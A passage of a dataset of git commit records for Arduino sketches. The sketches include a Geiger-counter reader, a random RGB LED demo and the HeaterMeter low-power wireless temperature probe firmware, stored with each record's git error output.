Started\"); \n}\n\n\nvoid loop() {\n Serial.println(\"Hello From The Other Side!\");\n delay(1000);\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino-Serial-Sketch\/run_serial_test\/run_serial_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b20a2968e1244a6a3c9f63a5d9a2ab6b4d7fe89b","subject":"starting with source from http:\/\/www.radiation-watch.org\/","message":"starting with source from http:\/\/www.radiation-watch.org\/\n","repos":"MonsieurV\/ArduinoPocketGeiger","old_file":"PocketGeigerArduino.ino","new_file":"PocketGeigerArduino.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Radiation-Watch.org\n\/\/ URL http:\/\/www.radiation-watch.org\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\u3000Digital I\/O PIN Settings\u3000\/\/\/\nint signPin = 2; \/\/Radiation Pulse (Yellow)\nint noisePin = 5; \/\/Vibration Noise Pulse (White)\n\/\/VCC 5V (Red)\n\/\/GND (Blue)\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nconst double alpha=53.032; \/\/ cpm = uSv x alpha\n\nint index=0; \/\/Number of loops\nchar msg[256]=\"\"; \/\/Message buffer for serial output\n\nint signCount=0; \/\/Counter for Radiation Pulse\nint noiseCount=0; \/\/Counter for Noise Pulse\n\nint sON=0;\/\/Lock flag for Radiation Pulse\nint nON=0;\/\/Lock flag for Noise Puls\n\ndouble cpm = 0; \/\/Count rate [cpm] of current\ndouble cpmHistory[200]; \/\/History of count rates\nint cpmIndex=0;\/\/Position of current count rate on cpmHistory[]\nint cpmIndexPrev=0;\/\/Flag to prevent duplicative counting\n\n\/\/Timing Settings for Loop Interval\nint prevTime=0;\nint currTime=0; \n\nint totalSec=0; \/\/Elapsed time of measurement [sec]\nint totalHour=0; \/\/Elapsed time of measurement [hour]\n\n\/\/Time settings for CPM calcuaration\nint cpmTimeMSec=0;\nint cpmTimeSec=0;\nint cpmTimeMin=0;\n\n\/\/String buffers of float values for serial output\nchar cpmBuff[20];\nchar uSvBuff[20];\nchar uSvdBuff[20];\n\nvoid setup()\n{\n \/\/Serial setup\n \/\/9600bps\n Serial.begin(9600);\n \n \/\/PIN setting for Radiation Pulse\n pinMode(signPin,INPUT);\n digitalWrite(signPin,HIGH);\n\n \/\/PIN setting for Noise Pulse\n pinMode(noisePin,INPUT);\n digitalWrite(noisePin,HIGH);\n\n \/\/CSV-formatting for serial output (substitute , for _)\n Serial.println(\"hour[h]_sec[s]_count_cpm_uSv\/h_uSv\/hError\");\n \n \/\/Initialize cpmHistory[]\n for(int i=0; i<200;i++ )\n {\n cpmHistory[i]=0;\n }\n \n \/\/Get start time of a loop\n prevTime = millis();\n}\n\nvoid loop()\n{\n \/\/ Raw data of Radiation Pulse: Not-detected -> High, Detected -> Low\n int sign = digitalRead(signPin);\n\n \/\/ Raw data of Noise Pulse: Not-detected -> Low, Detected -> High\n int noise = digitalRead(noisePin);\n\n \/\/Radiation Pulse normally keeps low for about 100[usec]\n if(sign==0 && sON==0)\n {\/\/Deactivate Radiation Pulse counting for a while\n sON = 1;\n signCount++;\n }else if(sign==1 && sON==1){\n sON = 0;\n }\n\n \/\/Noise Pulse normally keeps high for about 100[usec]\n if(noise==1 && nON==0)\n {\/\/Deactivate Noise Pulse counting for a while\n nON = 1;\n noiseCount++;\n }else if(noise==0 && nON==1){\n nON = 0;\n }\n\n \/\/Output readings to serial port, after 10000 loops\n if(index==10000) \/\/About 160-170 msec in Arduino Nano(ATmega328)\n {\n \/\/Get current time\n currTime = millis();\n \n \/\/No noise detected in 10000 loops\n if(noiseCount == 0)\n {\n \/\/Shift an array for counting log for each 6 sec.\n if( totalSec % 6 == 0 && cpmIndexPrev != totalSec)\n {\n cpmIndexPrev = totalSec;\n cpmIndex++;\n \n if(cpmIndex >= 200)\n {\n cpmIndex = 0;\n }\n \n if(cpmHistory[cpmIndex] > 0)\n {\n cpm -= cpmHistory[cpmIndex];\n }\n cpmHistory[cpmIndex]=0;\n }\n \n \/\/Store count log\n cpmHistory[cpmIndex] += signCount;\n \/\/Add number of counts\n cpm += signCount;\n \n \/\/Get ready time for 10000 loops\n cpmTimeMSec += abs(currTime - prevTime);\n \/\/Transform from msec. to sec. (to prevent overflow)\n if(cpmTimeMSec >= 1000)\n {\n cpmTimeMSec -= 1000;\n \/\/Add measurement time to calcurate cpm readings (max=20min.)\n if( cpmTimeSec >= 20*60 )\n {\n cpmTimeSec = 20*60;\n }else{\n cpmTimeSec++;\n }\n \n \/\/Total measurement time\n totalSec++;\n \/\/Transform from sec. to hour. (to prevent overflow)\n if(totalSec >= 3600)\n {\n totalSec -= 3600;\n totalHour++;\n }\n }\n \n \/\/Elapsed time of measurement (max=20min.)\n double min = cpmTimeSec \/ 60.0;\n if(min!=0)\n {\n \/\/Calculate cpm, uSv\/h and error of uSv\/h\n dtostrf(cpm \/ min, -1, 3, cpmBuff);\n dtostrf(cpm \/ min \/ alpha, -1, 3, uSvBuff);\n dtostrf(sqrt(cpm) \/ min \/ alpha, -1, 3, uSvdBuff);\n }else{\n \/\/Devision by zero\n dtostrf(0, -1, 3, cpmBuff);\n dtostrf(0, -1, 3, uSvBuff);\n dtostrf(0, -1, 3, uSvdBuff);\n }\n \n \/\/Create message for serial port\n sprintf(msg, \"%d,%d.%03d,%d,%s,%s,%s\",\n totalHour,totalSec,\n cpmTimeMSec,\n signCount,\n cpmBuff,\n uSvBuff,\n uSvdBuff\n );\n \n \/\/Send message to serial port\n Serial.println(msg);\n \n index=0;\n }\n \n \/\/Initialization for next 10000 loops\n prevTime = currTime;\n signCount=0;\n noiseCount=0;\n }\n index++;\n}\n\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"1eaf768eb2746df1211b7b48df3a3c1d9c7074ab","subject":"New Sketch: sparkcore-random-rgbled","message":"New Sketch: sparkcore-random-rgbled\n\nFix https:\/\/github.com\/gmacario\/learning-arduino\/issues\/28\n\nSigned-off-by: Gianpaolo Macario <f8885408b8c3d931b330bae3c3a28a3af912c463@gmail.com>\n","repos":"gmacario\/learning-arduino","old_file":"Sketches\/sparkcore-random-rgbled\/sparkcore-random-rgbled.ino","new_file":"Sketches\/sparkcore-random-rgbled\/sparkcore-random-rgbled.ino","new_contents":"int led_r = A4;\nint led_g = A5;\nint led_b = A6;\n\nvoid setup() {\n pinMode(led_r, OUTPUT);\n pinMode(led_g, OUTPUT);\n pinMode(led_b, OUTPUT);\n}\n\nvoid loop() {\n int value_r, value_g, value_b;\n\n value_r = random (0, 256);\n value_g = random (0, 256);\n value_b = random (0, 256);\n\n analogWrite(led_r, value_r);\n analogWrite(led_g, value_g);\n analogWrite(led_b, value_b);\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/sparkcore-random-rgbled\/sparkcore-random-rgbled.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"4892e23dbe2e4e7bbd83f41a9fc345713fdf001a","subject":"Initial commit","message":"Initial commit\n","repos":"timkettering\/TabernacleDisplay,timkettering\/TabernacleDisplay,timkettering\/TabernacleDisplay","old_file":"TabernacleDisplay.ino","new_file":"TabernacleDisplay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/timkettering\/TabernacleDisplay.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9f97932b314947906516d3dd988d7dab5d5bfb0d","subject":"[lmr] Adjust window size when the packet is lost so we can predict when the next receive will need to be now rather than then","message":"[lmr] Adjust window size when the packet is lost so we can predict when the next receive will need to be now rather than then\n","repos":"CapnBry\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,dwright134\/HeaterMeter,CapnBry\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,kdakers80\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,kdakers80\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,CapnBry\/HeaterMeter,kdakers80\/HeaterMeter,dwright134\/HeaterMeter,kdakers80\/HeaterMeter,shmick\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter","old_file":"arduino\/lmremote\/lmremote.ino","new_file":"arduino\/lmremote\/lmremote.ino","new_contents":"#include <avr\/wdt.h>\n#include <avr\/sleep.h>\n#include <rf12_itplus.h>\n\n\/\/ Power down CPU as much as possible, and attempt to sync receiver at exact\n\/\/ transmit time. Can't be used with LMREMOTE_SERIAL\n\/\/ Or if an output is defined (fan\/servo)\n#define MINIMAL_POWER_MODE\n\/\/ Enabling LMREMOTE_SERIAL also disables MINIMAL_POWER_MODE\n#define LMREMOTE_SERIAL 38400\n\n\/\/ Base Idenfier for the RFM12B (0-63)\n\/\/ The transmitted ID is this ID plus the pin number\nconst char _rfNodeBaseId = 0;\n\/\/ RFM12B band RF12_433MHZ, RF12_868MHZ, RF12_915MHZ\nconst unsigned char _rfBand = RF12_915MHZ;\n\/\/ How many seconds to delay between measurements\nconst unsigned char _sleepInterval = 2;\n\/\/ Analog pins to read. This is a bitfield, LSB is analog 0\nconst unsigned char _enabledProbePins = 0x01;\n\/\/ Analog pin connected to source power. Set to 0xff to disable sampling\nconst unsigned char _pinBattery = 1;\n\/\/ Digital pins for LEDs, 0xff to disable\nconst unsigned char _pinLedRx = 0xff;\nconst unsigned char _pinLedTx = 0xff; \/\/9\n\/\/ Digital pin used for sourcing power to the probe dividers\nconst unsigned char _pinProbeSupply = 4;\n\/\/ Percentage (integer) of VCC where the battery is considered low (33% = 1.1V)\n#define BATTERY_LOW_PCT 33\n\/\/ Number of seconds to keep the \"recent\/new\" bit set\n#define RECENT_EXPIRE_SECS 1800\n\/\/ Number of oversampling bits when measuring temperature [0-2]\n#define TEMP_OVERSAMPLE_BITS 1\n\n#define RF_PINS_PER_SOURCE 6 \n#define PIN_DISABLED(pin) ((_enabledProbePins & (1 << pin)) == 0)\n\n\/\/ Bits used in output packet\n\/\/ byte0\/1 reserved Node IDs\n#define NODEID_MASTER 0x3F\n\/\/ byte1\n#define BYTE1_DUAL_PROBE 0x10\n#define BYTE1_RECENT_BOOT 0x20\n\/\/ hygro byte\n#define HYGRO_BATTERY_OK 0x00\n#define HYGRO_BATTERY_LOW 0x80\n#define HYGRO_NO_HYGRO 0x6A\n#define HYGRO_SECOND_PROBE 0x7D\n#define HYGRO_LMREMOTE_KEY 0x7F\n\n#ifdef LMREMOTE_SERIAL\n#undef MINIMAL_POWER_MODE\n#endif\n\n#if defined(MINIMAL_POWER_MODE)\n #define SLEEPMODE_TX 2\n #define SLEEPMODE_ADC SLEEP_MODE_ADC\n#else\n #define SLEEPMODE_TX 1\n #define SLEEPMODE_ADC SLEEP_MODE_IDLE\n#endif\n\n#define RECV_CYCLE_TIME 5000 \/\/ expected receive cycle, millisecond\n#define MIN_RECV_WIN 8 \/\/ minimum window size, power of 2\n#define MAX_RECV_WIN 512 \/\/ maximum window size, power of 2\n\nstatic unsigned int _previousReads[RF_PINS_PER_SOURCE];\nstatic unsigned long _tempReadLast;\nstatic unsigned int _loopCnt;\nstatic unsigned char _sameCount;\nstatic unsigned char _isRecent = BYTE1_RECENT_BOOT;\nstatic unsigned char _isBattLow;\n\nstatic unsigned int _recvCycleAct;\nstatic unsigned int _recvWindow;\nstatic unsigned long _recvLast;\nstatic bool _recvSynced;\n\nstatic bool packetReceived(unsigned char nodeId, unsigned int val)\n{\n#if LMREMOTE_SERIAL\n Serial.print(F(\"IN(\"));\n Serial.print(nodeId);\n Serial.print(',');\n Serial.print(rf12_rssi(), DEC);\n Serial.print(F(\")=\"));\n Serial.print(val);\n Serial.print('\\n');\n#endif\n\n if (nodeId != NODEID_MASTER)\n return false;\n \/\/ val contains requested fan speed percent\n return true;\n}\n\nstatic bool rf12_doWork(void)\n{\n if (rf12_recvDone() && rf12_crc == 0)\n {\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, HIGH);\n\n unsigned char nodeId = ((rf12_buf[0] & 0x0f) << 2) | (rf12_buf[1] >> 6);\n unsigned int val = (rf12_buf[1] & 0x0f) << 8 | rf12_buf[2];\n return packetReceived(nodeId, val);\n }\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, LOW);\n return false;\n}\n\nstatic volatile bool _adcBusy;\nISR(ADC_vect) { _adcBusy = false; }\n\nstatic unsigned int analogReadSleep(unsigned char pin)\n{\n _adcBusy = true;\n ADMUX = (DEFAULT << 6) | pin;\n bitSet(ADCSRA, ADIE);\n set_sleep_mode(SLEEPMODE_ADC);\n while (_adcBusy)\n sleep_mode();\n return ADC;\n}\n\n\/\/ The WDT is used solely to wake us from sleep\n#if defined(MINIMAL_POWER_MODE)\nstatic volatile bool _watchdogWaiting;\nISR(WDT_vect) { _watchdogWaiting = false; }\n\nstatic void sleepPeriod(uint8_t wdt_period)\n{\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n\n \/\/ Set the watchdog to wake us up and turn on its interrupt\n wdt_enable(wdt_period);\n WDTCSR |= bit(WDIE);\n\n \/\/ Turn off Brown Out Detector\n \/\/ sleep must be entered within 3 cycles of BODS being set\n sleep_enable();\n MCUCR = MCUCR | bit(BODSE) | bit(BODS);\n MCUCR = (MCUCR & ~bit(BODSE)) | bit(BODS);\n \n \/\/ Sleep\n sleep_cpu();\n \n \/\/ Back from sleep\n wdt_disable();\n sleep_disable();\n}\n\nstatic void sleepPwrDown(unsigned int msec)\n\/\/ Code copied from Sleepy::loseSomeSleep(), jeelib\n{\n unsigned int msleft = msec;\n while (msleft >= 16)\n {\n char wdp = 0; \/\/ wdp 0..9 corresponds to roughly 16..8192 ms\n \/\/ calc wdp as log2(msleft\/16), i.e. loop & inc while next value is ok\n for (unsigned int m = msleft; m >= 32; m >>= 1)\n if (++wdp >= 9)\n break;\n _watchdogWaiting = true;\n sleepPeriod(wdp);\n unsigned int halfms = 8 << wdp;\n msleft -= halfms;\n if (_watchdogWaiting)\n continue;\n msleft -= halfms;\n }\n\n \/\/ adjust the milli ticks, since we will have missed several\n#if defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny85__) || defined (__AVR_ATtiny44__)\n extern volatile unsigned long millis_timer_millis;\n millis_timer_millis += msecs - msleft;\n#else\n extern volatile unsigned long timer0_millis;\n timer0_millis += msec - msleft;\n#endif\n}\n#endif\n\nstatic void sleepIdle(unsigned int msec)\n{\n unsigned long start = millis();\n set_sleep_mode(SLEEP_MODE_IDLE);\n while (millis() - start < msec)\n sleep_mode();\n}\n\nstatic void sleep(unsigned int msec)\n{\n#if defined(MINIMAL_POWER_MODE)\n sleepPwrDown(msec);\n#else\n sleepIdle(msec);\n#endif \/* SLEEP_MODE_PWR_DOWN *\/\n}\n\nstatic void resetEstimate(void)\n{\n#if defined(LMREMOTE_SERIAL) && defined(_DEBUG)\n Serial.print(F(\"Resetting Estimate\\n\"));\n#endif\n _recvCycleAct = RECV_CYCLE_TIME;\n _recvWindow = MAX_RECV_WIN;\n _recvSynced = false;\n\n unsigned long start = millis();\n while (!rf12_doWork())\n if (millis() - start > RECV_CYCLE_TIME)\n return;\n _recvLast = millis();\n}\n\nstatic bool optimalSleep(void)\n\/\/ Code adapted from jeelib\/examples\/syncRecv optimalSleep()\n{\n unsigned char lost = (millis() - _recvLast + _recvCycleAct \/ 2) \/ _recvCycleAct;\n if (lost > 10)\n {\n resetEstimate();\n return false;\n }\n\n unsigned long predict = _recvLast + (lost + 1) * _recvCycleAct;\n unsigned int sleepDur = predict - _recvWindow - millis();\n sleep(sleepDur);\n rf12_sleep(RF12_WAKEUP);\n\n unsigned long recvTime;\n unsigned long timeout = predict + _recvWindow;\n do {\n recvTime = millis();\n if ((long)(recvTime - timeout) >= 0)\n {\n#if defined(LMREMOTE_SERIAL) && defined(_DEBUG)\n Serial.print(\" f \"); Serial.print(lost);\n Serial.print(\" s \"); Serial.print(sleepDur);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n Serial.flush();\n#endif\n \/\/ double the window every N\/2 packets lost\n ++lost;\n if (lost % 2 == 1 && _recvWindow < MAX_RECV_WIN)\n _recvWindow *= 2;\n\n return false;\n }\n } while (!rf12_doWork());\n\n unsigned int newEst = (recvTime - _recvLast) \/ (lost + 1);\n if (_recvSynced)\n _recvCycleAct = (4 * _recvCycleAct + newEst + 3) \/ 5; \/\/ 5-fold smoothing\n else\n _recvCycleAct = newEst;\n _recvLast = recvTime;\n\n#if defined(LMREMOTE_SERIAL) && defined(_DEBUG)\n Serial.print(\" n \"); Serial.print(lost);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" E \"); Serial.print(newEst);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n#endif\n\n if (_recvWindow > MIN_RECV_WIN)\n _recvWindow \/= 2;\n else\n _recvSynced = true;\n\n return true;\n}\n\nstatic void updateBatteryLow(void)\n{\n const unsigned char BATREAD_COUNT = 4;\n \n _isBattLow = HYGRO_BATTERY_OK;\n if (_pinBattery != 0xff)\n {\n unsigned int adcSum = 0;\n unsigned char battPct;\n for (unsigned char i=0; i<BATREAD_COUNT; ++i)\n adcSum += analogReadSleep(_pinBattery);\n \/\/ Percent of VCC\n battPct = (adcSum * 100UL) \/ (1024 * BATREAD_COUNT);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(\"Battery %: \"); Serial.print(battPct, DEC); Serial.print('\\n');\n#endif\n\n if (battPct < BATTERY_LOW_PCT)\n _isBattLow = HYGRO_BATTERY_LOW;\n }\n}\n\nstatic void transmitTemp(unsigned char pin)\n{\n unsigned char outbuf[4];\n unsigned char nodeId = _rfNodeBaseId + pin;\n unsigned int val = _previousReads[pin];\n val <<= (12 - (10 + TEMP_OVERSAMPLE_BITS));\n outbuf[0] = 0x90 | ((nodeId & 0x3f) >> 2);\n outbuf[1] = ((nodeId & 0x3f) << 6) | _isRecent | (val >> 8);\n outbuf[2] = (val & 0xff);\n outbuf[3] = HYGRO_LMREMOTE_KEY | _isBattLow;\n \/\/Serial.println(outbuf[3], HEX);\n\n \/\/ Don't check for air to be clear, we just woke from sleep and it will be milliseconds before\n \/\/ the RFM chip is actually up and running\n rf12_sendStart(outbuf, sizeof(outbuf));\n rf12_sendWait(SLEEPMODE_TX);\n}\n\nstatic void newTempsAvailable(void)\n{\n \/\/ Enable the transmitter because it takes 1-5ms to turn on (3ms in my testing)\n rf12_sleep(RF12_WAKEUP);\n\n updateBatteryLow();\n \/\/ We're done with the ADC shut it down until the next wake cycle\n ADCSRA &= ~bit(ADEN);\n if (_isRecent && (millis() > RECENT_EXPIRE_SECS))\n {\n \/\/Serial.print(\"No longer recent\\n\");\n _isRecent = 0;\n }\n\n boolean hasTransmitted = false;\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n if (hasTransmitted) sleep(16);\n transmitTemp(pin);\n hasTransmitted = true;\n }\n \n rf12_sleep(RF12_SLEEP);\n if (_pinLedTx != 0xff)\n {\n digitalWrite(_pinLedTx, HIGH);\n sleep(16);\n digitalWrite(_pinLedTx, LOW);\n }\n}\n\nstatic void stabilizeAdc(void)\n{\n const unsigned char INTERNAL_REF = 0b1110;\n unsigned int last;\n unsigned char totalCnt = 0;\n unsigned char sameCnt = 0;\n unsigned int curr = analogReadSleep(INTERNAL_REF);\n \/\/ Reads the adc a bunch of times until the value settles\n \/\/ Usually you hear \"discard the first few ADC readings after sleep\"\n \/\/ but this seems a bit more scientific as we wait for the AREF cap to charge\n do {\n ++totalCnt;\n#ifdef LMREMOTE_SERIAL\n Serial.print(curr, DEC);\n Serial.print(' ');\n#endif\n last = curr;\n curr = analogReadSleep(INTERNAL_REF);\n if (last == curr)\n ++sameCnt;\n else\n sameCnt = 0;\n } while ((totalCnt < 64) && (sameCnt < 4));\n}\n\nstatic void checkTemps(void)\n{\n const unsigned char OVERSAMPLE_COUNT[] = {1, 4, 16, 64}; \/\/ 4^n\n boolean modified = false;\n unsigned int oversampled_adc = 0;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(millis(), DEC);\n Serial.print(\" Checking temps: \");\n#endif\n\n \/\/ Enable the ADC\n ADCSRA |= bit(ADEN);\n \/\/ The probe themistor voltage dividers are normally powered down\n \/\/ to save power, using digital lines to supply Vcc to them.\n digitalWrite(_pinProbeSupply, HIGH);\n \/\/ Wait for AREF capacitor to charge\n stabilizeAdc();\n\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n for (unsigned char o=0; o<OVERSAMPLE_COUNT[TEMP_OVERSAMPLE_BITS]; ++o)\n {\n unsigned int adc = analogReadSleep(pin);\n if (adc == 0 || adc >= 1023)\n {\n oversampled_adc = 0;\n break;\n }\n oversampled_adc += adc;\n }\n oversampled_adc = oversampled_adc >> TEMP_OVERSAMPLE_BITS;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(oversampled_adc, DEC); Serial.print(' ');\n#endif\n if (oversampled_adc != _previousReads[pin])\n modified = true;\n _previousReads[pin] = oversampled_adc;\n }\n digitalWrite(_pinProbeSupply, LOW);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print('\\n');\n#endif\n\n if (modified || (_sameCount > (30 \/ _sleepInterval)))\n {\n _sameCount = 0;\n newTempsAvailable();\n }\n else\n ++_sameCount;\n \/\/ Disable the ADC\n ADCSRA &= ~bit(ADEN);\n\n _tempReadLast = millis();\n}\n\nvoid setup(void)\n{\n \/\/ Turn off the units we never use (this only affects non-sleep power)\n PRR = bit(PRUSART0) | bit(PRTWI) | bit(PRTIM1) | bit(PRTIM2);\n \/\/ Disable digital input buffers on the analog in ports\n DIDR0 = bit(ADC5D) | bit(ADC4D) | bit(ADC3D) | bit(ADC2D) | bit(ADC1D) | bit(ADC0D);\n DIDR1 = bit(AIN1D) | bit(AIN0D);\n\n#ifdef LMREMOTE_SERIAL\n PRR &= ~bit(PRUSART0);\n Serial.begin(LMREMOTE_SERIAL); Serial.println(\"$UCID,lmremote\"); Serial.flush();\n#endif\n\n rf12_initialize(_rfBand);\n \/\/ Crystal 1.66MHz Low Battery Detect 2.2V\n rf12_control(0xC040);\n\n if (_pinLedRx != 0xff) pinMode(_pinLedRx, OUTPUT);\n if (_pinLedTx != 0xff) pinMode(_pinLedTx, OUTPUT);\n\n pinMode(_pinProbeSupply, OUTPUT);\n\n \/\/ Force a transmit on next read\n memset(_previousReads, 0xff, sizeof(_previousReads));\n}\n\nvoid loop(void)\n{\n if (_loopCnt % 2 == 0)\n checkTemps();\n\n#ifdef LMREMOTE_SERIAL\n Serial.flush();\n#endif\n\n if (_recvLast == 0)\n resetEstimate();\n else\n optimalSleep();\n rf12_sleep(RF12_SLEEP);\n\n ++_loopCnt;\n}\n\n\n","old_contents":"#include <avr\/wdt.h>\n#include <avr\/sleep.h>\n#include <rf12_itplus.h>\n\n\/\/ Power down CPU as much as possible, and attempt to sync receiver at exact\n\/\/ transmit time. Can't be used with LMREMOTE_SERIAL\n\/\/ Or if an output is defined (fan\/servo)\n#define MINIMAL_POWER_MODE\n\/\/ Enabling LMREMOTE_SERIAL also disables MINIMAL_POWER_MODE\n#define LMREMOTE_SERIAL 38400\n\n\/\/ Base Idenfier for the RFM12B (0-63)\n\/\/ The transmitted ID is this ID plus the pin number\nconst char _rfNodeBaseId = 0;\n\/\/ RFM12B band RF12_433MHZ, RF12_868MHZ, RF12_915MHZ\nconst unsigned char _rfBand = RF12_915MHZ;\n\/\/ How many seconds to delay between measurements\nconst unsigned char _sleepInterval = 2;\n\/\/ Analog pins to read. This is a bitfield, LSB is analog 0\nconst unsigned char _enabledProbePins = 0x01;\n\/\/ Analog pin connected to source power. Set to 0xff to disable sampling\nconst unsigned char _pinBattery = 1;\n\/\/ Digital pins for LEDs, 0xff to disable\nconst unsigned char _pinLedRx = 0xff;\nconst unsigned char _pinLedTx = 0xff; \/\/9\n\/\/ Digital pin used for sourcing power to the probe dividers\nconst unsigned char _pinProbeSupply = 4;\n\/\/ Percentage (integer) of VCC where the battery is considered low (33% = 1.1V)\n#define BATTERY_LOW_PCT 33\n\/\/ Number of seconds to keep the \"recent\/new\" bit set\n#define RECENT_EXPIRE_SECS 1800\n\/\/ Number of oversampling bits when measuring temperature [0-2]\n#define TEMP_OVERSAMPLE_BITS 1\n\n#define RF_PINS_PER_SOURCE 6 \n#define PIN_DISABLED(pin) ((_enabledProbePins & (1 << pin)) == 0)\n\n\/\/ Bits used in output packet\n\/\/ byte0\/1 reserved Node IDs\n#define NODEID_MASTER 0x3F\n\/\/ byte1\n#define BYTE1_DUAL_PROBE 0x10\n#define BYTE1_RECENT_BOOT 0x20\n\/\/ hygro byte\n#define HYGRO_BATTERY_OK 0x00\n#define HYGRO_BATTERY_LOW 0x80\n#define HYGRO_NO_HYGRO 0x6A\n#define HYGRO_SECOND_PROBE 0x7D\n#define HYGRO_LMREMOTE_KEY 0x7F\n\n#ifdef LMREMOTE_SERIAL\n#undef MINIMAL_POWER_MODE\n#endif\n\n#if defined(MINIMAL_POWER_MODE)\n #define SLEEPMODE_TX 2\n #define SLEEPMODE_ADC SLEEP_MODE_ADC\n#else\n #define SLEEPMODE_TX 1\n #define SLEEPMODE_ADC SLEEP_MODE_IDLE\n#endif\n\n#define RECV_CYCLE_TIME 5000 \/\/ expected receive cycle, millisecond\n#define MIN_RECV_WIN 8 \/\/ minimum window size, power of 2\n#define MAX_RECV_WIN 512 \/\/ maximum window size, power of 2\n\nstatic unsigned int _previousReads[RF_PINS_PER_SOURCE];\nstatic unsigned long _tempReadLast;\nstatic unsigned int _loopCnt;\nstatic unsigned char _sameCount;\nstatic unsigned char _isRecent = BYTE1_RECENT_BOOT;\nstatic unsigned char _isBattLow;\n\nstatic unsigned int _recvCycleAct;\nstatic unsigned int _recvWindow;\nstatic unsigned long _recvLast;\nstatic bool _recvSynced;\n\nstatic bool packetReceived(unsigned char nodeId, unsigned int val)\n{\n#if LMREMOTE_SERIAL\n Serial.print(F(\"IN(\"));\n Serial.print(nodeId);\n Serial.print(',');\n Serial.print(rf12_rssi(), DEC);\n Serial.print(F(\")=\"));\n Serial.print(val);\n Serial.print('\\n');\n#endif\n\n if (nodeId != NODEID_MASTER)\n return false;\n \/\/ val contains requested fan speed percent\n return true;\n}\n\nstatic bool rf12_doWork(void)\n{\n if (rf12_recvDone() && rf12_crc == 0)\n {\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, HIGH);\n\n unsigned char nodeId = ((rf12_buf[0] & 0x0f) << 2) | (rf12_buf[1] >> 6);\n unsigned int val = (rf12_buf[1] & 0x0f) << 8 | rf12_buf[2];\n return packetReceived(nodeId, val);\n }\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, LOW);\n return false;\n}\n\nstatic volatile bool _adcBusy;\nISR(ADC_vect) { _adcBusy = false; }\n\nstatic unsigned int analogReadSleep(unsigned char pin)\n{\n _adcBusy = true;\n ADMUX = (DEFAULT << 6) | pin;\n bitSet(ADCSRA, ADIE);\n set_sleep_mode(SLEEPMODE_ADC);\n while (_adcBusy)\n sleep_mode();\n return ADC;\n}\n\n\/\/ The WDT is used solely to wake us from sleep\n#if defined(MINIMAL_POWER_MODE)\nstatic volatile bool _watchdogWaiting;\nISR(WDT_vect) { _watchdogWaiting = false; }\n\nstatic void sleepPeriod(uint8_t wdt_period)\n{\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n\n \/\/ Set the watchdog to wake us up and turn on its interrupt\n wdt_enable(wdt_period);\n WDTCSR |= bit(WDIE);\n\n \/\/ Turn off Brown Out Detector\n \/\/ sleep must be entered within 3 cycles of BODS being set\n sleep_enable();\n MCUCR = MCUCR | bit(BODSE) | bit(BODS);\n MCUCR = (MCUCR & ~bit(BODSE)) | bit(BODS);\n \n \/\/ Sleep\n sleep_cpu();\n \n \/\/ Back from sleep\n wdt_disable();\n sleep_disable();\n}\n\nstatic void sleepPwrDown(unsigned int msec)\n\/\/ Code copied from Sleepy::loseSomeSleep(), jeelib\n{\n unsigned int msleft = msec;\n while (msleft >= 16)\n {\n char wdp = 0; \/\/ wdp 0..9 corresponds to roughly 16..8192 ms\n \/\/ calc wdp as log2(msleft\/16), i.e. loop & inc while next value is ok\n for (unsigned int m = msleft; m >= 32; m >>= 1)\n if (++wdp >= 9)\n break;\n _watchdogWaiting = true;\n sleepPeriod(wdp);\n unsigned int halfms = 8 << wdp;\n msleft -= halfms;\n if (_watchdogWaiting)\n continue;\n msleft -= halfms;\n }\n\n \/\/ adjust the 